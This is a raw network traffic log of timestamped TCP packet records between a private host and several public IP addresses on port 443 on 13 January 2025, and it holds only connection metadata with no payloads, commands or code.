Jan 13, 2025 21:52:54.392699003 CET	443	49780	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.394129038 CET	49780	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.395144939 CET	49780	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.395167112 CET	443	49780	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.638077974 CET	443	49785	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.638601065 CET	49785	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.638659954 CET	443	49785	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.639059067 CET	443	49785	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.639743090 CET	49785	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.639743090 CET	49785	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.639775038 CET	443	49785	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.639842033 CET	443	49785	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.684537888 CET	49785	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.791337967 CET	443	49785	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.791433096 CET	443	49785	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.791501045 CET	443	49785	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:54.791528940 CET	49785	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.791579008 CET	49785	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.795027971 CET	49785	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:54.795047045 CET	443	49785	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:55.336472034 CET	49793	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:55.336524010 CET	443	49793	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:55.336616039 CET	49793	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:55.336944103 CET	49793	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:55.336971045 CET	443	49793	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:55.790455103 CET	443	49793	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:55.792171955 CET	49793	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:55.792223930 CET	443	49793	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:55.792546988 CET	443	49793	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:55.793087959 CET	49793	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:55.793163061 CET	443	49793	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:55.793311119 CET	49793	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:55.793457031 CET	49793	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:55.793519020 CET	443	49793	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:55.793606043 CET	49793	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:55.794130087 CET	443	49793	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:55.924534082 CET	443	49717	142.250.185.100	192.168.2.6
Jan 13, 2025 21:52:55.924699068 CET	443	49717	142.250.185.100	192.168.2.6
Jan 13, 2025 21:52:55.924765110 CET	49717	443	192.168.2.6	142.250.185.100
Jan 13, 2025 21:52:56.064615011 CET	443	49793	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.064770937 CET	443	49793	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.064847946 CET	49793	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:56.064860106 CET	443	49793	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.064909935 CET	443	49793	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.064969063 CET	49793	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:56.064984083 CET	443	49793	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.065134048 CET	443	49793	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.065186024 CET	49793	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:56.066246033 CET	49793	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:56.066273928 CET	443	49793	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.074578047 CET	49717	443	192.168.2.6	142.250.185.100
Jan 13, 2025 21:52:56.074610949 CET	443	49717	142.250.185.100	192.168.2.6
Jan 13, 2025 21:52:56.074964046 CET	49801	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:56.075037003 CET	443	49801	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.075119019 CET	49801	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:56.075455904 CET	49801	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:56.075474977 CET	443	49801	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.087646008 CET	49802	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:56.087691069 CET	443	49802	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:56.087762117 CET	49802	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:56.091438055 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:56.091479063 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:56.091552973 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:56.094985962 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:56.095000982 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:56.095232010 CET	49802	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:56.095249891 CET	443	49802	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:56.766699076 CET	443	49801	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.768353939 CET	49801	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:56.768368006 CET	443	49801	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.768887997 CET	443	49801	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.778589010 CET	49801	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:56.778693914 CET	443	49801	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.788007021 CET	49801	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:56.831351042 CET	443	49801	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.894989014 CET	443	49802	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:56.899046898 CET	49802	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:56.899065018 CET	443	49802	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:56.900593042 CET	443	49802	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:56.901006937 CET	49802	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:56.904341936 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:56.911814928 CET	443	49801	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.911911011 CET	443	49801	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.916555882 CET	49801	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:56.924812078 CET	49802	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:56.924952984 CET	443	49802	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:56.930080891 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:56.930082083 CET	49801	443	192.168.2.6	104.18.95.41
Jan 13, 2025 21:52:56.930109978 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:56.930113077 CET	443	49801	104.18.95.41	192.168.2.6
Jan 13, 2025 21:52:56.932532072 CET	49802	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:56.932569981 CET	443	49802	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:56.934031963 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:56.934222937 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:56.935950041 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:56.936152935 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:56.979787111 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:56.979789972 CET	49802	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:56.979810953 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.031362057 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.161475897 CET	443	49802	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.204612970 CET	49802	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.293848991 CET	443	49802	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.334924936 CET	49802	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.334981918 CET	443	49802	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.374002934 CET	49802	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.374159098 CET	443	49802	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.374411106 CET	443	49802	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.374428034 CET	49802	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.374551058 CET	49802	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.375731945 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.419334888 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.642055035 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.660608053 CET	49705	443	192.168.2.6	173.222.162.64
Jan 13, 2025 21:52:57.660831928 CET	49705	443	192.168.2.6	173.222.162.64
Jan 13, 2025 21:52:57.663117886 CET	49815	443	192.168.2.6	173.222.162.64
Jan 13, 2025 21:52:57.663166046 CET	443	49815	173.222.162.64	192.168.2.6
Jan 13, 2025 21:52:57.663271904 CET	49815	443	192.168.2.6	173.222.162.64
Jan 13, 2025 21:52:57.663836002 CET	49815	443	192.168.2.6	173.222.162.64
Jan 13, 2025 21:52:57.663853884 CET	443	49815	173.222.162.64	192.168.2.6
Jan 13, 2025 21:52:57.665453911 CET	443	49705	173.222.162.64	192.168.2.6
Jan 13, 2025 21:52:57.665648937 CET	443	49705	173.222.162.64	192.168.2.6
Jan 13, 2025 21:52:57.682570934 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.711611032 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.712156057 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.712414980 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.712439060 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.761096954 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.761125088 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.800276995 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.800296068 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.800338984 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.800348997 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.800355911 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.800410032 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.800438881 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.800470114 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.800477982 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.800506115 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.800549030 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.800607920 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.800612926 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.800653934 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.800657988 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.800981998 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.801031113 CET	443	49803	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.801085949 CET	49803	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.806333065 CET	49816	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.806353092 CET	443	49816	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.806413889 CET	49816	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.806730032 CET	49816	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.806744099 CET	443	49816	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.807677984 CET	49817	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.807719946 CET	443	49817	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.807780981 CET	49817	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.808003902 CET	49817	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.808017969 CET	443	49817	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.828412056 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.828433037 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:57.828495979 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.829621077 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:57.829632998 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.254209042 CET	443	49815	173.222.162.64	192.168.2.6
Jan 13, 2025 21:52:58.254286051 CET	49815	443	192.168.2.6	173.222.162.64
Jan 13, 2025 21:52:58.391310930 CET	443	49817	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.393328905 CET	49817	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.393357992 CET	443	49817	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.394078016 CET	443	49817	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.396878958 CET	49817	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.396981955 CET	443	49817	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.397269964 CET	49817	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.405380011 CET	443	49816	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.405734062 CET	49816	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.405751944 CET	443	49816	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.407232046 CET	443	49816	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.407316923 CET	49816	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.407732964 CET	49816	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.407814026 CET	443	49816	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.408390999 CET	49816	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.408401012 CET	443	49816	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.413997889 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.414294004 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.414334059 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.415836096 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.415898085 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.418948889 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.419075012 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.419430971 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.419450045 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.443340063 CET	443	49817	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.448215008 CET	49816	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.464333057 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.655967951 CET	443	49817	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.670773029 CET	443	49816	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.705228090 CET	49817	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.705271959 CET	443	49817	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.721432924 CET	49816	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.721458912 CET	443	49816	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.752965927 CET	49817	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.768080950 CET	49816	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.770745039 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.790987015 CET	443	49817	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.805079937 CET	443	49816	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.815846920 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.831927061 CET	49817	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.831970930 CET	443	49817	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.833713055 CET	49817	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.833821058 CET	443	49817	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.833898067 CET	49817	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.836999893 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.847491026 CET	49816	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.847510099 CET	443	49816	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.848082066 CET	49816	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.848202944 CET	443	49816	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.848263979 CET	49816	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.862580061 CET	49825	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.862621069 CET	443	49825	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.862741947 CET	49825	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.862848043 CET	49826	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.862895012 CET	443	49826	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.862967968 CET	49826	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.863310099 CET	49825	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.863326073 CET	443	49825	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.863451004 CET	49826	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.863471985 CET	443	49826	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.878109932 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.878148079 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.923372030 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.923388004 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.923412085 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.923422098 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.923425913 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.923448086 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.923465967 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.923495054 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.923501015 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.923521996 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.924587965 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.924598932 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.924631119 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.924643993 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.924655914 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.924668074 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.924674988 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.924684048 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.924695015 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.924701929 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.924746990 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.927047968 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.927059889 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.927083015 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.927115917 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.927124023 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.927134037 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:58.927162886 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:58.927185059 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.043281078 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.043365955 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.043406010 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.043479919 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.043730021 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.043786049 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.043798923 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.043821096 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.043843031 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.043859005 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.044776917 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.044822931 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.044855118 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.044868946 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.044889927 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.044903994 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.129985094 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.130049944 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.130075932 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.130131006 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.130153894 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.130182028 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.130182028 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.130212069 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.130259991 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.130270004 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.130280972 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.130295992 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.130326033 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.130347013 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.130433083 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.130481005 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.130503893 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.130511045 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.130528927 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.174307108 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.174350023 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.174778938 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.174891949 CET	443	49819	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.175201893 CET	49819	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.185019016 CET	49832	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.185031891 CET	443	49832	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.185154915 CET	49832	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.185487032 CET	49833	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.185524940 CET	443	49833	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.185590982 CET	49833	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.185867071 CET	49832	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.185878038 CET	443	49832	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.186337948 CET	49833	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.186353922 CET	443	49833	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.190156937 CET	49834	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:52:59.190175056 CET	443	49834	152.199.21.175	192.168.2.6
Jan 13, 2025 21:52:59.190370083 CET	49834	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:52:59.190610886 CET	49834	443	192.168.2.6	152.199.21.175
Jan 13, 2025 21:52:59.190633059 CET	443	49834	152.199.21.175	192.168.2.6
Jan 13, 2025 21:52:59.195952892 CET	49835	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.195967913 CET	443	49835	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.196038008 CET	49835	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.196242094 CET	49835	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.196254969 CET	443	49835	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.462647915 CET	443	49825	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.463007927 CET	49825	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.463042974 CET	443	49825	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.464520931 CET	443	49825	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.464590073 CET	49825	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.465572119 CET	49825	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.465651035 CET	443	49825	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.465725899 CET	49825	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.465733051 CET	443	49825	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.510626078 CET	49825	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.586565018 CET	443	49826	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.592575073 CET	49826	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.592602968 CET	443	49826	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.593656063 CET	443	49826	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.593720913 CET	49826	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.594193935 CET	49826	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.594255924 CET	443	49826	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.594335079 CET	49826	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.638336897 CET	49826	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.638362885 CET	443	49826	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.684277058 CET	49826	443	192.168.2.6	104.168.175.55
Jan 13, 2025 21:52:59.775917053 CET	443	49825	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.812268972 CET	443	49832	104.168.175.55	192.168.2.6
Jan 13, 2025 21:52:59.819571018 CET	49832	443	192.168.2.6	104.168.175.55
